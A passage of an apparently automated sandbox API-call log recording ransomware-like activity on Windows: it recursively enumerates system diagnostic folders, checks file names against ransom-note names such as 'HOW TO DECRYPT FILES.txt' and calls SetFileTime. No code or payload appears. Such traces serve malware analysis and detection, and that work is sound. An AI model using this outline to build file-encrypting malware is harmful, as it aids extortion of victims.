ÔÀÉËÛ.txt", lpString2="StartDPSService.ps1") returned -1 [0126.645] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StartDPSService.ps1") returned -1 [0126.645] lstrcmpiA (lpString1="", lpString2="StartDPSService.ps1") returned -1 [0126.646] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\NetworkDiagnosticsVerify.ps1") returned="NetworkDiagnosticsVerify.ps1" [0126.646] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.646] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.646] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.646] CloseHandle (hObject=0xffffffff) returned 0 [0126.646] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd84c81, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cd84c81, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf20a3117, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x243a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtilityFirewall.ps1", cAlternateFileName="")) returned 1 [0126.646] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.646] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UtilityFirewall.ps1") returned -1 [0126.646] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UtilityFirewall.ps1") returned -1 [0126.646] lstrcmpiA (lpString1="", lpString2="UtilityFirewall.ps1") returned -1 [0126.646] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\StartDPSService.ps1") returned="StartDPSService.ps1" [0126.647] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.647] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.647] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.647] CloseHandle (hObject=0xffffffff) returned 0 [0126.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dee5a15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9dee5a15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9df0bb75, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd213, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtilityFunctions.ps1", cAlternateFileName="")) returned 1 [0126.647] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.647] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UtilityFunctions.ps1") returned -1 [0126.647] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UtilityFunctions.ps1") returned -1 [0126.647] lstrcmpiA (lpString1="", lpString2="UtilityFunctions.ps1") returned -1 [0126.647] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\UtilityFirewall.ps1") returned="UtilityFirewall.ps1" [0126.647] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.648] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.648] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.648] CloseHandle (hObject=0xffffffff) returned 0 [0126.648] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdaadde, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cdaadde, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf24cd75f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtilitySetConstants.ps1", cAlternateFileName="")) returned 1 [0126.648] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UtilitySetConstants.ps1") returned -1 [0126.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UtilitySetConstants.ps1") returned -1 [0126.648] lstrcmpiA (lpString1="", lpString2="UtilitySetConstants.ps1") returned -1 [0126.648] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\UtilityFunctions.ps1") returned="UtilityFunctions.ps1" [0126.648] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.649] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.649] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.649] CloseHandle (hObject=0xffffffff) returned 0 [0126.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdaadde, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cdaadde, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf24cd75f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtilitySetConstants.ps1", cAlternateFileName="")) returned 0 [0126.649] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.649] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="PCW", cAlternateFileName="")) returned 1 [0126.649] lstrcmpA (lpString1=".", lpString2="PCW") returned -1 [0126.649] lstrcmpA (lpString1="..", lpString2="PCW") returned -1 [0126.649] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.650] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\PCW\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.654] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.654] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.654] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.654] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.654] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1083a4c5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1083a4c5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9101681e, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x59b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.654] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.654] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.654] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\*.*") returned="*.*" [0126.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\" [0126.654] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\") returned="" [0126.655] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.655] CloseHandle (hObject=0xffffffff) returned 0 [0126.655] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106251af, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x106251af, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x10200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.655] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.655] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.655] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\" [0126.655] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\") returned="" [0126.656] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.656] CloseHandle (hObject=0xffffffff) returned 0 [0126.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2383bf77, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.656] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.656] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.656] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\DiagPackage.dll") returned="DiagPackage.dll" [0126.656] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2383bf77, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1284, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.657] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.657] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2383bf77, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0126.657] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.657] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.657] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ab4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.657] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.657] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.657] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\*.*") returned="*.*" [0126.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" [0126.657] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\") returned="" [0126.657] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.658] CloseHandle (hObject=0xffffffff) returned 0 [0126.658] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.658] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.658] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.658] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" [0126.658] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\en-US\\") returned="" [0126.659] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.659] CloseHandle (hObject=0xffffffff) returned 0 [0126.659] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0126.659] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd773df1d, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xd773df1d, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xd776407b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9602, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_ProgramCompatibilityWizard.ps1", cAlternateFileName="")) returned 1 [0126.660] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ProgramCompatibilityWizard.ps1") returned -1 [0126.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ProgramCompatibilityWizard.ps1") returned -1 [0126.660] lstrcmpiA (lpString1="", lpString2="RS_ProgramCompatibilityWizard.ps1") returned -1 [0126.660] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\*.*") returned="*.*" [0126.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\" [0126.660] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\") returned="" [0126.660] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.660] CloseHandle (hObject=0xffffffff) returned 0 [0126.660] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107ee20b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107ee20b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd77b0337, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x25be, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ProgramCompatibilityWizard.ps1", cAlternateFileName="")) returned 1 [0126.660] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.661] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_ProgramCompatibilityWizard.ps1") returned -1 [0126.661] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_ProgramCompatibilityWizard.ps1") returned -1 [0126.661] lstrcmpiA (lpString1="", lpString2="TS_ProgramCompatibilityWizard.ps1") returned -1 [0126.661] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\RS_ProgramCompatibilityWizard.ps1") returned="RS_ProgramCompatibilityWizard.ps1" [0126.661] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\" [0126.661] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\") returned="" [0126.661] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.661] CloseHandle (hObject=0xffffffff) returned 0 [0126.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10814368, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10814368, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd77d6495, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF_ProgramCompatibilityWizard.ps1", cAlternateFileName="")) returned 1 [0126.661] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.662] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VF_ProgramCompatibilityWizard.ps1") returned -1 [0126.662] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VF_ProgramCompatibilityWizard.ps1") returned -1 [0126.662] lstrcmpiA (lpString1="", lpString2="VF_ProgramCompatibilityWizard.ps1") returned -1 [0126.662] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\PCW\\TS_ProgramCompatibilityWizard.ps1") returned="TS_ProgramCompatibilityWizard.ps1" [0126.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\PCW\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\PCW\\") returned="C:\\Windows\\diagnostics\\system\\PCW\\" [0126.662] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\PCW\\") returned="" [0126.662] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.662] CloseHandle (hObject=0xffffffff) returned 0 [0126.662] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10814368, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10814368, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd77d6495, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF_ProgramCompatibilityWizard.ps1", cAlternateFileName="")) returned 0 [0126.662] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.663] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0126.663] lstrcmpA (lpString1=".", lpString2="Performance") returned -1 [0126.663] lstrcmpA (lpString1="..", lpString2="Performance") returned -1 [0126.663] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.663] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Performance\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.682] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.682] FindNextFileA (in: hFindFile=0x502598, 